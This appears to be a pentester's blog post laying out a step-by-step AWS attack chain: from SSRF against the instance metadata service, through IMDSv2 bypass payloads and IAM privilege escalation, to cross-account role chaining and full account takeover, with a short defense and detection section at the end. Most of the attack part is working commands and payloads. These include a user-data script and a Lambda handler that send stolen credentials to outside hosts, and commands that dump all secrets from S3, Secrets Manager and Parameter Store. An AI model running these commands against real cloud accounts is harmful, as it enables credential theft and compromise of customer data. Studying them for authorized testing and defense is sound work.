AWS Pivot Techniques: From SSRF to Cloud Administrator

Cloud Adversaries

Enterprise migration methodologies.

logo-aws-png-no-back-ground

Cloud security is fundamentally different from traditional network pentesting, leading to escalation of Cloud Adversary and Red Teaming.

SSRF vulnerability that would be "High severity" on a traditional Web app Pentesting can be a complete cloud account compromise in AWS. I've seen it happen, developers think they understand security because they know SQL injection, but they have no clue about the blast radius of cloud misconfigurations.

This post walks-through some visual techniques I've used on AWS Pentests to go from a basic SSRF to full account takeover F.K.A the ATO.

The AWS Attack Surface

Before diving into attacks, understand what makes AWS different:

  • Instance Metadata Service (IMDS).
  • IAM roles everywhere.

And some auto-ed Attack-surface:

  • Automatic credential rotation.
  • Service-to-service trust, such as Lambda can assume roles, EC2 can access S3, etc.
  • Confused deputy problems.

In AWS, identity is distributed. There's no central "domain controller" to attack. Instead, you pivot through service integrations and IAM trust relationships. Somehow in a way, this are like AD around delegation and Trust.

SSRF to Instance Metadata Access

This is the bread and butter of Cloud Pentesting for ASR. Find SSRF, hit the metadata service, steal credentials.

The Classic IMDSv1 Attack

IMDSv1 is accessible at http://169.254.169.254 and requires no authentication:

curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl 'http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]'

The response are expected to contains temporary credentials:

{
  "Code" : "Success",
  "LastUpdated" : "2024-11-12T10:30:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "...",
  "Token" : "...",
  "Expiration" : "2024-11-12T16:30:00Z"
}

Export these and you're now operating as that EC2 instance's IAM role:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

Test your access:

aws sts get-caller-identity

AWS End-Point SSRF Example

Found this on a recent image processing endpoint with SSRF:

POST /api/process-image
{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
{"result": "web-app-role"}
POST /api/process-image
{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
}

Boom!!! full credentials in response

Bypassing IMDSv2

IMDSv2 requires a session token via PUT request, which seems to prevent SSRF attacks. But there are bypasses.

Overview IMDSv2

IMDSv2 requires two steps:

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ -H "X-aws-ec2-metadata-token: $TOKEN"

Bypass Method 1: HTTP Request Smuggling

If the vulnerable app uses HTTP/1.1 and you can control headers:

POST /api/fetch-url HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 150

url=http://169.254.169.254/latest/api/token%0d%0a
X-aws-ec2-metadata-token-ttl-seconds:%2021600%0d%0a
%0d%0a
PUT /latest/api/token HTTP/1.1

Bypass Method 2: Misconfigured Proxies

Some reverse proxies allow method override:

X-HTTP-Method-Override: PUT
X-Method-Override: PUT
X-HTTP-Method: PUT
POST /api/fetch-url
X-HTTP-Method-Override: PUT
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/api/token",
  "headers": {
    "X-aws-ec2-metadata-token-ttl-seconds": "21600"
  }
}

Bypass Method 3: IPv6 Address

IMDSv2 also responds on IPv6, and some WAFs don't filter it:

curl http://[fd00:ec2::254]/latest/meta-data/

When IMDSv2 Can't Be Bypassed

If the target properly implements IMDSv2 and you can't bypass it, look for:

  • Environment variables containing credentials.
  • Application logs with API keys.
  • Configuration files mounted from S3.
  • User data scripts with secrets.
curl http://169.254.169.254/latest/user-data/

Privilege Escalation via IAM Policies

You've got credentials from IMDS.

Now what? Time to escalate privileges.

Enumerate Your Permissions

First, figure out what you can do:

aws sts get-caller-identity
aws iam get-account-authorization-details

Enumerate specific services:

aws s3 ls
aws ec2 describe-instances
aws lambda list-functions
aws iam list-roles

Use enumerate-iam to brute force permissions:

python3 enumerate-iam.py --access-key ASIA... --secret-key ... --session-token ...

Common Privilege Escalation Paths

1. IAM for CreatePolicyVersion

If you have this permission on a managed policy attached to a privileged role:

aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/limited-policy --policy-document file://admin-policy.json --set-as-default

The policy document:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

2. IAM for PassRole + Privileged Service

If you can pass roles to Lambda or EC2:

aws lambda create-function --function-name exfil-data --runtime python3.9 --role arn:aws:iam::123456789012:role/admin-role --handler lambda_function.lambda_handler --zip-file fileb://function.zip

Invoke it with admin permissions

aws lambda invoke --function-name exfil-data --payload '{"action":"list-secrets"}' response.json

3. EC2 for RunInstances with Privileged Role

Launch an EC2 instance with a more privileged IAM role:

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro --iam-instance-profile Name=admin-instance-profile --user-data file://userdata.sh 

User data script exfiltrates credentials:

#!/bin/bash
ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
curl -X POST https://attacker.com/exfil -d "$CREDS"

4. Lambda for UpdateFunctionCode

Modify existing Lambda functions to steal credentials by create malicious function code:

┌──(kali㉿kali)-[~]
└─$ cat lambda-function.py
import json
import boto3
import requests

def lambda_handler(event, context):
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    
    requests.post('https://byt3n33dl3.me/exfil', json=identity)
    
    return {'statusCode': 200, 'body': json.dumps('Success')}

Continued with Package and update:

sudo zip function.zip lambda_function.py
aws lambda update-function-code --function-name existing-function --zip-file fileb://function.zip

Then trigger the function:

aws lambda invoke --function-name existing-function response.json

Role Assumption Chains

The real power in AWS is chaining role assumptions across accounts and services.

Finding Assumable Roles

aws iam list-roles | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS) | .RoleName'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/target-role --role-session-name test-session

Cross-Account Role Assumption

Many orgs and enterprises have development accounts that can assume roles in production:

aws sts assume-role --role-arn arn:aws:iam::999999999999:role/prod-admin --role-session-name pivot-to-prod
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

You're now in production with admin access

aws s3 ls

Service-to-Service Role Chains

Example chain that's commonly being exploited recently:

  1. SSRF on web app to EC2 instance role.
  2. EC2 role can invoke Lambda functions.
  3. Lambda has role with S3 access.
  4. S3 bucket leakage.
  5. Database has AWS API keys in tables.
  6. API keys belong to admin user.
aws lambda invoke --function-name data-processor --payload '{"action":"read-s3"}' output.json
cat output.json
sudo mysql -h db.internal -u admin -p
SELECT * FROM credentials WHERE type='aws_admin';
export AWS_ACCESS_KEY_ID="AKIA..."
aws iam list-users

Then the Leak would come.

Exploiting Service Integrations

AWS services integrate in ways that create privilege escalation paths.

S3 Bucket Policies Gone Wrong

Find publicly accessible or misconfigured buckets:

aws s3 ls
aws s3 ls s3://company-name-backups
aws s3 ls s3://company-name-logs
aws s3 ls s3://prod-data

Look for sensitive files

aws s3 ls s3://target-bucket --recursive | grep -i "password\|secret\|key\|credential"

Download and grep for credentials:

aws s3 sync s3://target-bucket ./local-copy
grep -r "AKIA" ./local-copy
grep -r "secret" ./local-copy
grep -r "password" ./local-copy

Secrets Manager Enumeration

aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/master-password

Then batch retrieve all accessible secrets.

Parameter Store Extraction

aws ssm describe-parameters
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

Continue with look-up for API keys, database passwords, swag, etc.

aws ssm get-parameter --name /prod/db/password --with-decryption

Real Case Study: Complete Account Takeover

Here's a real engagement from 2024 showing the complete attack chain:

Initial Access

Found SSRF in an image processing API:

POST /api/v1/process-image
{
  "image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "filters": ["resize"]
}

Response revealed role name: web-app-prod-role.

Credential Theft

curl -X POST https://target.com/api/v1/process-image -d '{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-prod-role"}'

Response:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

Privilege Escalation

Start with access we have:

aws iam get-role --role-name data-export-role

We have:

Trust policy allowed Lambda service

Role had s3:* on backup buckets

aws lambda update-function-code --function-name data-export-function --zip-file fileb://malicious.zip

Then malicious code extracted S3 data, found credentials.json in s3://company-backups/config/, which are dangeous.

Lateral Movement

Example of credentials.json contained admin API key:

{
  "aws_access_key": "AKIA...",
  "aws_secret_key": "...",
  "permissions": "administrator"
}

Switched to admin credentials:

export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
unset AWS_SESSION_TOKEN

After all, we verified admin access

aws iam list-users
aws ec2 describe-instances --region us-east-1
aws rds describe-db-instances

Full account compromise achieved.

Impact

From to admin in under 30 minutes:

  • Access to all EC2 instances.
  • All RDS databases.
  • All S3 buckets with customer data.
  • Ability to create/delete resources.
  • Access to billing information.
  • Could pivot to other AWS accounts via assumed roles.

Defense and Detection

From the blue team perspective, here's how to prevent and detect these attacks:

Prevention

Note this is just a methodology, moreover needs an extra hardening.

1. Enforce IMDSv2
   - Set HttpTokens=required on all EC2 instances
   - Use AWS Config rules to audit compliance

2. Principle of Least Privilege
   - Lambda functions shouldn't have * permissions
   - Use permission boundaries
   - Regularly audit IAM policies

3. Network Segmentation
   - Block 169.254.169.254 at application firewall
   - Use VPC endpoints to avoid IMDS exposure
   - Implement egress filtering

4. Secrets Management
   - Never store credentials in S3
   - Use Secrets Manager with proper IAM policies
   - Rotate credentials regularly

5. Monitoring
   - Enable CloudTrail in all regions
   - Alert on AssumeRole from unusual IPs
   - Monitor for unauthorized API calls

Detection Strategies

CloudTrail queries to detect attacks, first with unusual AssumeRole activity:

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole

Credential usage from unusual IPs:

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity

Then Lambda function modifications:

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode

Then Secrets Manager access

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue

Incident Response (DFIR)

If you detect credential theft:

  1. Immediately revoke all sessions for compromised role.
  2. Attach explicit deny policy to compromised identity.
  3. Review CloudTrail for all actions taken.
  4. Rotate all potentially exposed credentials.
  5. Check for backdoors (new IAM users, modified policies).
  6. Review Lambda functions for modifications.
  7. Audit cross-account role assumptions.

Emergency: Deny all actions for compromised role

aws iam put-role-policy --role-name compromised-role --policy-name DenyAll --policy-document file://deny-all.json

There we got deny-all.json

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Deny",
    "Action": "*",
    "Resource": "*"
  }]
}

Tools for AWS Pentesting

Essential tools for cloud engagements:

Practical Tips

From actual AWS pentests:

  • Always try IMDSv1 first.
  • Check user-data.
  • Look for role chains.
  • S3 buckets are treasure troves.
  • Lambda functions are goldmines.
  • Test in all regions.
  • Document everything.

Conclusion

AWS attacks are fundamentally different from traditional pentesting. A single SSRF vulnerability can lead to complete account compromise through:

  1. Instance Metadata Service credential theft.
  2. IAM privilege escalation.
  3. Role assumption chains.
  4. Service integration abuse.
  5. Secrets stored in S3/Secrets Manager.

The key is understanding AWS's identity model and how services trust each other. Every Lambda function, every EC2 instance, every service is a potential pivot point.

Defenders need to enforce IMDSv2, implement least privilege, and monitor for unusual API activity. Attackers need to think in terms of role chains and service integrations, not just network pivots. Cloud security isn't just "security in the cloud", it's a completely different attack surface that requires new skills and techniques.

Resources

Shout Outs

Go Top